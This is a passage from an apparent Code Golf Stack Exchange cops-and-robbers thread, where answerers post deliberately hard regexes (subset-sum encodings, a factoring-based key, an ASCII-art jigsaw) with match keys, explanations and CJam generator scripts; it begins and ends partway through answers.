(?:(?=1(?<1>){178684})|(?=0)).(?:(?=1(?<1>){13822})|(?=0)).(?<-1>){10094986}(?(1)(?!))$ ``` We just can't have enough NP-complete problems! Here's the expanded version: ``` ^ (?:(?=1(?<1>){5632})|(?=0)). (?:(?=1(?<1>){79361})|(?=0)). (?:(?=1(?<1>){188421})|(?=0)). (?:(?=1(?<1>){164870})|(?=0)). (?:(?=1(?<1>){63496})|(?=0)). (?:(?=1(?<1>){116233})|(?=0)). (?:(?=1(?<1>){112138})|(?=0)). (?:(?=1(?<1>){47447})|(?=0)). (?:(?=1(?<1>){85005})|(?=0)). (?:(?=1(?<1>){17936})|(?=0)). (?:(?=1(?<1>){108053})|(?=0)). (?:(?=1(?<1>){88599})|(?=0)). (?:(?=1(?<1>){91672})|(?=0)). (?:(?=1(?<1>){178716})|(?=0)). (?:(?=1(?<1>){199710})|(?=0)). (?:(?=1(?<1>){166661})|(?=0)). (?:(?=1(?<1>){190496})|(?=0)). (?:(?=1(?<1>){184494})|(?=0)). (?:(?=1(?<1>){199203})|(?=0)). (?:(?=1(?<1>){116778})|(?=0)). (?:(?=1(?<1>){78891})|(?=0)). (?:(?=1(?<1>){192556})|(?=0)). (?:(?=1(?<1>){24995})|(?=0)). (?:(?=1(?<1>){1071})|(?=0)). (?:(?=1(?<1>){192561})|(?=0)). (?:(?=1(?<1>){108082})|(?=0)). (?:(?=1(?<1>){1593})|(?=0)). (?:(?=1(?<1>){26967})|(?=0)). (?:(?=1(?<1>){197983})|(?=0)). (?:(?=1(?<1>){97034})|(?=0)). (?:(?=1(?<1>){86965})|(?=0)). (?:(?=1(?<1>){60480})|(?=0)). (?:(?=1(?<1>){149571})|(?=0)). (?:(?=1(?<1>){100932})|(?=0)). (?:(?=1(?<1>){40519})|(?=0)). (?:(?=1(?<1>){173492})|(?=0)). (?:(?=1(?<1>){80972})|(?=0)). (?:(?=1(?<1>){115790})|(?=0)). (?:(?=1(?<1>){29265})|(?=0)). (?:(?=1(?<1>){91730})|(?=0)). (?:(?=1(?<1>){173140})|(?=0)). (?:(?=1(?<1>){52821})|(?=0)). (?:(?=1(?<1>){176726})|(?=0)). (?:(?=1(?<1>){170211})|(?=0)). (?:(?=1(?<1>){150105})|(?=0)). (?:(?=1(?<1>){23131})|(?=0)). (?:(?=1(?<1>){81503})|(?=0)). (?:(?=1(?<1>){77412})|(?=0)). (?:(?=1(?<1>){106086})|(?=0)). (?:(?=1(?<1>){4284})|(?=0)). (?:(?=1(?<1>){142610})|(?=0)). (?:(?=1(?<1>){167534})|(?=0)). (?:(?=1(?<1>){190577})|(?=0)). (?:(?=1(?<1>){147731})|(?=0)). (?:(?=1(?<1>){133748})|(?=0)). (?:(?=1(?<1>){194750})|(?=0)). (?:(?=1(?<1>){49257})|(?=0)). (?:(?=1(?<1>){49274})|(?=0)). (?:(?=1(?<1>){120767})|(?=0)). (?:(?=1(?<1>){172668})|(?=0)). (?:(?=1(?<1>){24703})|(?=0)). (?:(?=1(?<1>){108160})|(?=0)). (?:(?=1(?<1>){60546})|(?=0)). (?:(?=1(?<1>){56963})|(?=0)). (?:(?=1(?<1>){30340})|(?=0)). (?:(?=1(?<1>){95368})|(?=0)). (?:(?=1(?<1>){59530})|(?=0)). (?:(?=1(?<1>){53388})|(?=0)). (?:(?=1(?<1>){14477})|(?=0)). (?:(?=1(?<1>){28302})|(?=0)). (?:(?=1(?<1>){182927})|(?=0)). (?:(?=1(?<1>){59024})|(?=0)). (?:(?=1(?<1>){146200})|(?=0)). (?:(?=1(?<1>){153746})|(?=0)). (?:(?=1(?<1>){39571})|(?=0)). (?:(?=1(?<1>){134293})|(?=0)). (?:(?=1(?<1>){158362})|(?=0)). (?:(?=1(?<1>){170139})|(?=0)). (?:(?=1(?<1>){182940})|(?=0)). (?:(?=1(?<1>){7327})|(?=0)). (?:(?=1(?<1>){143525})|(?=0)). (?:(?=1(?<1>){119464})|(?=0)). (?:(?=1(?<1>){82090})|(?=0)). (?:(?=1(?<1>){170667})|(?=0)). (?:(?=1(?<1>){49522})|(?=0)). (?:(?=1(?<1>){69806})|(?=0)). (?:(?=1(?<1>){15535})|(?=0)). (?:(?=1(?<1>){16049})|(?=0)). (?:(?=1(?<1>){163358})|(?=0)). (?:(?=1(?<1>){181876})|(?=0)). (?:(?=1(?<1>){58044})|(?=0)). (?:(?=1(?<1>){16062})|(?=0)). (?:(?=1(?<1>){39616})|(?=0)). (?:(?=1(?<1>){31425})|(?=0)). (?:(?=1(?<1>){94404})|(?=0)). (?:(?=1(?<1>){86848})|(?=0)). (?:(?=1(?<1>){16589})|(?=0)). (?:(?=1(?<1>){195280})|(?=0)). (?:(?=1(?<1>){199377})|(?=0)). (?:(?=1(?<1>){43731})|(?=0)). (?:(?=1(?<1>){67534})|(?=0)). (?:(?=1(?<1>){106198})|(?=0)). (?:(?=1(?<1>){54999})|(?=0)). (?:(?=1(?<1>){52952})|(?=0)). (?:(?=1(?<1>){125828})|(?=0)). (?:(?=1(?<1>){169691})|(?=0)). (?:(?=1(?<1>){184542})|(?=0)). (?:(?=1(?<1>){177888})|(?=0)). (?:(?=1(?<1>){43233})|(?=0)). (?:(?=1(?<1>){127203})|(?=0)). (?:(?=1(?<1>){116518})|(?=0)). (?:(?=1(?<1>){117990})|(?=0)). (?:(?=1(?<1>){67815})|(?=0)). (?:(?=1(?<1>){62202})|(?=0)). (?:(?=1(?<1>){165611})|(?=0)). (?:(?=1(?<1>){197356})|(?=0)). (?:(?=1(?<1>){29933})|(?=0)). (?:(?=1(?<1>){90862})|(?=0)). (?:(?=1(?<1>){90863})|(?=0)). (?:(?=1(?<1>){149232})|(?=0)). (?:(?=1(?<1>){61681})|(?=0)). (?:(?=1(?<1>){137970})|(?=0)). (?:(?=1(?<1>){90357})|(?=0)). (?:(?=1(?<1>){47351})|(?=0)). (?:(?=1(?<1>){172509})|(?=0)). (?:(?=1(?<1>){78293})|(?=0)). (?:(?=1(?<1>){66303})|(?=0)). (?:(?=1(?<1>){66262})|(?=0)). (?:(?=1(?<1>){158471})|(?=0)). (?:(?=1(?<1>){5676})|(?=0)). (?:(?=1(?<1>){127242})|(?=0)). (?:(?=1(?<1>){51979})|(?=0)). (?:(?=1(?<1>){162060})|(?=0)). (?:(?=1(?<1>){27405})|(?=0)). (?:(?=1(?<1>){153874})|(?=0)). (?:(?=1(?<1>){150291})|(?=0)). (?:(?=1(?<1>){1814})|(?=0)). (?:(?=1(?<1>){193815})|(?=0)). (?:(?=1(?<1>){82200})|(?=0)). (?:(?=1(?<1>){59161})|(?=0)). (?:(?=1(?<1>){78620})|(?=0)). (?:(?=1(?<1>){123678})|(?=0)). (?:(?=1(?<1>){147232})|(?=0)). (?:(?=1(?<1>){71457})|(?=0)). (?:(?=1(?<1>){118562})|(?=0)). (?:(?=1(?<1>){129830})|(?=0)). (?:(?=1(?<1>){161841})|(?=0)). (?:(?=1(?<1>){60295})|(?=0)). (?:(?=1(?<1>){165426})|(?=0)). (?:(?=1(?<1>){107485})|(?=0)). (?:(?=1(?<1>){171828})|(?=0)). (?:(?=1(?<1>){166200})|(?=0)). (?:(?=1(?<1>){35124})|(?=0)). (?:(?=1(?<1>){160573})|(?=0)). (?:(?=1(?<1>){7486})|(?=0)). (?:(?=1(?<1>){169279})|(?=0)). (?:(?=1(?<1>){151360})|(?=0)). (?:(?=1(?<1>){6978})|(?=0)). (?:(?=1(?<1>){136003})|(?=0)). (?:(?=1(?<1>){56133})|(?=0)). (?:(?=1(?<1>){8520})|(?=0)). (?:(?=1(?<1>){87436})|(?=0)). (?:(?=1(?<1>){57162})|(?=0)). (?:(?=1(?<1>){197965})|(?=0)). (?:(?=1(?<1>){145230})|(?=0)). (?:(?=1(?<1>){95459})|(?=0)). (?:(?=1(?<1>){180564})|(?=0)). (?:(?=1(?<1>){157850})|(?=0)). (?:(?=1(?<1>){109399})|(?=0)). (?:(?=1(?<1>){191832})|(?=0)). (?:(?=1(?<1>){110223})|(?=0)). (?:(?=1(?<1>){75102})|(?=0)). (?:(?=1(?<1>){140639})|(?=0)). (?:(?=1(?<1>){49504})|(?=0)). (?:(?=1(?<1>){197987})|(?=0)). (?:(?=1(?<1>){52744})|(?=0)). (?:(?=1(?<1>){96615})|(?=0)). (?:(?=1(?<1>){13672})|(?=0)). (?:(?=1(?<1>){73068})|(?=0)). (?:(?=1(?<1>){104814})|(?=0)). (?:(?=1(?<1>){66929})|(?=0)). (?:(?=1(?<1>){23410})|(?=0)). (?:(?=1(?<1>){122686})|(?=0)). (?:(?=1(?<1>){44918})|(?=0)). (?:(?=1(?<1>){101752})|(?=0)). (?:(?=1(?<1>){3961})|(?=0)). (?:(?=1(?<1>){31807})|(?=0)). (?:(?=1(?<1>){54933})|(?=0)). (?:(?=1(?<1>){140096})|(?=0)). (?:(?=1(?<1>){49026})|(?=0)). (?:(?=1(?<1>){5507})|(?=0)). (?:(?=1(?<1>){96132})|(?=0)). (?:(?=1(?<1>){167303})|(?=0)). (?:(?=1(?<1>){57877})|(?=0)). (?:(?=1(?<1>){88461})|(?=0)). (?:(?=1(?<1>){111853})|(?=0)). (?:(?=1(?<1>){126531})|(?=0)). (?:(?=1(?<1>){110998})|(?=0)). (?:(?=1(?<1>){7575})|(?=0)). (?:(?=1(?<1>){7064})|(?=0)). (?:(?=1(?<1>){59289})|(?=0)). (?:(?=1(?<1>){122203})|(?=0)). (?:(?=1(?<1>){175005})|(?=0)). (?:(?=1(?<1>){28025})|(?=0)). (?:(?=1(?<1>){49057})|(?=0)). (?:(?=1(?<1>){6373})|(?=0)). (?:(?=1(?<1>){50084})|(?=0)). (?:(?=1(?<1>){70565})|(?=0)). (?:(?=1(?<1>){75178})|(?=0)). (?:(?=1(?<1>){142763})|(?=0)). (?:(?=1(?<1>){56237})|(?=0)). (?:(?=1(?<1>){32176})|(?=0)). (?:(?=1(?<1>){113073})|(?=0)). (?:(?=1(?<1>){149939})|(?=0)). (?:(?=1(?<1>){16308})|(?=0)). (?:(?=1(?<1>){12725})|(?=0)). (?:(?=1(?<1>){75190})|(?=0)). (?:(?=1(?<1>){54711})|(?=0)). (?:(?=1(?<1>){180664})|(?=0)). (?:(?=1(?<1>){68540})|(?=0)). (?:(?=1(?<1>){93117})|(?=0)). (?:(?=1(?<1>){161781})|(?=0)). (?:(?=1(?<1>){15808})|(?=0)). (?:(?=1(?<1>){130814})|(?=0)). (?:(?=1(?<1>){162379})|(?=0)). (?:(?=1(?<1>){80836})|(?=0)). (?:(?=1(?<1>){149943})|(?=0)). (?:(?=1(?<1>){16841})|(?=0)). (?:(?=1(?<1>){149452})|(?=0)). (?:(?=1(?<1>){182733})|(?=0)). (?:(?=1(?<1>){56270})|(?=0)). (?:(?=1(?<1>){163792})|(?=0)). (?:(?=1(?<1>){34770})|(?=0)). (?:(?=1(?<1>){101843})|(?=0)). (?:(?=1(?<1>){199124})|(?=0)). (?:(?=1(?<1>){129493})|(?=0)). (?:(?=1(?<1>){43990})|(?=0)). (?:(?=1(?<1>){113112})|(?=0)). (?:(?=1(?<1>){71129})|(?=0)). (?:(?=1(?<1>){61402})|(?=0)). (?:(?=1(?<1>){145852})|(?=0)). (?:(?=1(?<1>){98781})|(?=0)). (?:(?=1(?<1>){141790})|(?=0)). (?:(?=1(?<1>){163235})|(?=0)). (?:(?=1(?<1>){110566})|(?=0)). (?:(?=1(?<1>){117737})|(?=0)). (?:(?=1(?<1>){67050})|(?=0)). (?:(?=1(?<1>){68075})|(?=0)). (?:(?=1(?<1>){124047})|(?=0)). (?:(?=1(?<1>){181587})|(?=0)). (?:(?=1(?<1>){125429})|(?=0)). (?:(?=1(?<1>){112118})|(?=0)). (?:(?=1(?<1>){196088})|(?=0)). (?:(?=1(?<1>){25082})|(?=0)). (?:(?=1(?<1>){178684})|(?=0)). (?:(?=1(?<1>){13822})|(?=0)). (?<-1>){10094986} (?(1)(?!)) $ ``` --- > > Each `(?:(?=1(?<1>){n})|(?=0)).` row pushes `n` empty strings to group `1` if the digit 1 is found, and does nothing if a `0` is found. `(?<-1>){10094986}(?(1)(?!))` then checks that the total number of empty strings in group 1 by the end is 10094986. Hence our goal is to find a subset of the numbers such that their total is 10094986. This is exactly the subset sum problem, which is a special case of the knapsack problem, and is NP-complete. > > > Tested on [Regex Hero](http://regexhero.net/tester/) (Regex Storm times out for this one). [Answer] # .NET flavour (52506 bytes) Subset sum, deluxe edition. [Regex here](http://pastebin.com/raw.php?i=8CPpaVrB), [expanded version here](http://pastebin.com/raw.php?i=PLFFhECF), tested on [RegExLib](http://regexlib.com/RETester.aspx) and [Regex Hero](http://regexhero.net/tester/) --- > > Match:`1000010001000000001101011000001101110101001010011101000101010011011101000001010101001000010010000111011101100101001101001111000111010101100000101000101010110001010101001100100001110010001101010101100010110011000000110110000000011111101000001000011111100010` > > > Mismatch: `Huzzah for NP-complete regexes` > > > This regex is one giant subset sum problem, and uses 16 groups to store data. Each `1` in the string represents 16 10-bit numbers, which together represent a 160-bit integer. The last few lines of the regex carry the values in the groups so that groups 2-16 go up to 1023 (e.g. 1\*1023 + 1024 becomes 2\*1023 + 1), as otherwise we'd only be solving 16 simultaneous mini subset sum problems as opposed to one big one. > > > [Answer] ## PHP, 395 bytes [cracked by [nneonneo](https://codegolf.stackexchange.com/users/6699/nneonneo)] ``` ^( *)( *)( *)(['.-])((?!\4)(?4)+?)((?!\4|\5)(?4)++)\1\3whale (?=.(.))\6.\7\4(?!\4|\6)([_\/])\3(?!(?11))\8\2(?=\2)\3\1_((?=\4+.).\5(?!\6)\5)(?!.?')\7\4 (?=.\7)\6.([,`])\3{2}(?=.((?!\8)[_\/])\11)\Q(_\E.\4{2}(?!\.)\5((?!\10)(?10)(?!\4+|\5|\6))\1\3{3}(\\) (\3{3})\13\2{2}\1{1}\3+(?<=\S {10})\4\1\3\| \1(?=\12)(?12)(?!`,)\10\4(\11{2})\4\14\10\15\9\8 \14{2}(?=\6)['-]\4(?<!-)\11\8\11\4\6\11\15\.-|(?!) ``` A better jigsaw than my last entry. Note: The matching key is multiline, with each line separated by the new line character `\n`. Rebuild some ASCII art! Here is a [regex demo](http://regex101.com/r/vT7hI3/1). [Answer] # .NET flavor, 53,884 bytes [safe] **Generated by GnuPG!** And extracted by pgpdump. It is 1536 bit because longer versions failed on the online tester. xz base64: ``` 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 AZgi/KQDAPczjbCxxGf7AgAAAAAEWVo= ``` Tested on [RegExLib](http://regexlib.com/RETester.aspx) (with no options selected). I hope I didn't cause too much trouble to them. You probably want to crack [the easy version](https://codegolf.stackexchange.com/a/39994/25180) first. It is the same as this one, except for having a much shorter key. You probably also want this number: ``` 1877387013349538768090205114842510626651131723107399383794998450806739516994144298310401108806926034240658300213548103711527384569076779151468208082508190882390076337427064709559437854062111632001332811449146722382069400055588711790985185172254011431483115758796920145490044311800185920322455262251745973830227470485279892907738203417793535991544580378895041359393212505410554875960037474608732567216291143821804979045946285675144158233812053215704503132829164251 ``` ## The key **Match:** ``` Ëòčĵċsïݲ¤ėGâĥÓŧÿÃiTüū&0EĚĵŒR@bĵ¤¿Ĉ=ķüÙļÞďYaŃīŲĢŪÕďųïyĘŊŢĝĪĘŠćĢmtŠîĽþĽłŶāĨĩģTő!ĺw=aŧïųţĨíœą¸Ëč!,ĵţ¨ŌąŜ7ć<ůū¹"VCæ>õêqKËĖ¡ôÕÂúëdčÜÇĺřGĝ¢ÈòTdĩŤŭi§aćŎŭųä«´3ĚΦîŇĬÒÕ¥ńü½å±ì³Jõ«D>ìYũʼn5öķ@ŪĠďàÂIĭųė! ``` **Non-match:** ``` 1111111111111111 ``` **The prime numbers:** ``` 1332079940234179614521970444786413763737753518438170921866494487346327879385305027126769158207767221820861337268140670862294914465261588406119592761408774455338383491427898155074772832852850476306153369461364785463871635843192956321 1409365126404871907363160248446313781336249368768980464167188493095028723639124224991540391841197901143131758645183823514744033123070116823118973220350307542767897614254042472660258176592286316247065295064507580468562028846326382331 ``` Explanation is in [the easy version](https://codegolf.stackexchange.com/a/39994/25180). ## The generator script (in CJam) ``` '~),'!i>"+.()?*\\[]{|}^$/,^-:#"- 'ǝ,'¡i>173c-+289<:T; 95:F; 95:G; " ^ (?=["T",]{"FG+)`"}$) (?=.{"F`"},) (?!.*,.*,) (?: (?(X) (?<-X>) (?(L)(?<-L>)(?<l>)|){16} | (?: " [T289,]z {[~17md["(?<l>){"\'}]["(?<L>){"@'}]]}%'|* " ) (?<X>) ) (?=.*, (?: (?(Y) (?<-Y>) (?(R)(?<-R>)(?<r>)|){16} | (?: " [T289,]z {[~17md["(?<r>){"\'}]["(?<R>){"@'}]]}%'|* " ) (?<Y>) ) (?(l) (?<-l>)(?<x>) (?(r)(?<-r>)(?<y>)(?<v>)|){16} (?(y)(?<-y>)(?<r>)|){16} |){16} (?(x)(?<-x>)(?<l>)|){16} (?(p)(?<-p>)(?<s>)(?<z>)|){"F2*(`"} (?(z)(?<-z>)(?<p>)|){"F2*(`"} (?(q)(?<-q>)(?<s>)(?<z>)|){"G2*(`"} (?(z)(?<-z>)(?<q>)|){"G2*(`"} " " (?(s) (?<-s>) "FG+(2** " (?(v)(?<-v>)(?<a"FG+(2*`">)|){256} " [" | (?(v)(?<-v>)(?<a"">)|){256} ) "]aFG+(2*,W%m*{~\~@`\}/ " (?(r)(?<-r>)|){16} (?<q>) ){"G2*`"} (?<-q>){"G2*`"} ) (?(l)(?<-l>)|){16} (?<p>) ){"F2*`"}, " [ l~17bW%_,FG+2*\- 0a*+ FG+2*, ]z { ~:A`:B;:C; " (?<-a"B">){"C`"} (?(a"B")(?<-a"B">){17}(?<a"A)`">)|){4100} (?(a"B")(?!)|)" }/ ]:+N9c+S+- ``` Input should be the above number. After you are done, the solution can be generated by this program: ``` '~),'!i>"+.()?*\\[]{|}^$/,^-:#"- 'ǝ,'¡i>173c-+289<:T; 95:F; 95:G; { r~289bW%_,FG:F;\- 0a*+ {T=}% }2*',\ ``` Input should be two integers. [Answer] ## Perl flavor, 97 [cracked] I'm afraid this is going to be too easy due to the key length limit. ``` ^([^,]+),(?!\1)([^,]+),(?!\1|\2,)([^,]+),(?!\1|(?:\2|\3),)([^,]+),(?=.\2+$)(?=.\3+$)(?=.\4+$)\1+$ ``` If you think you figured the idea behind it, try the longer version (not part of the challenge): ``` 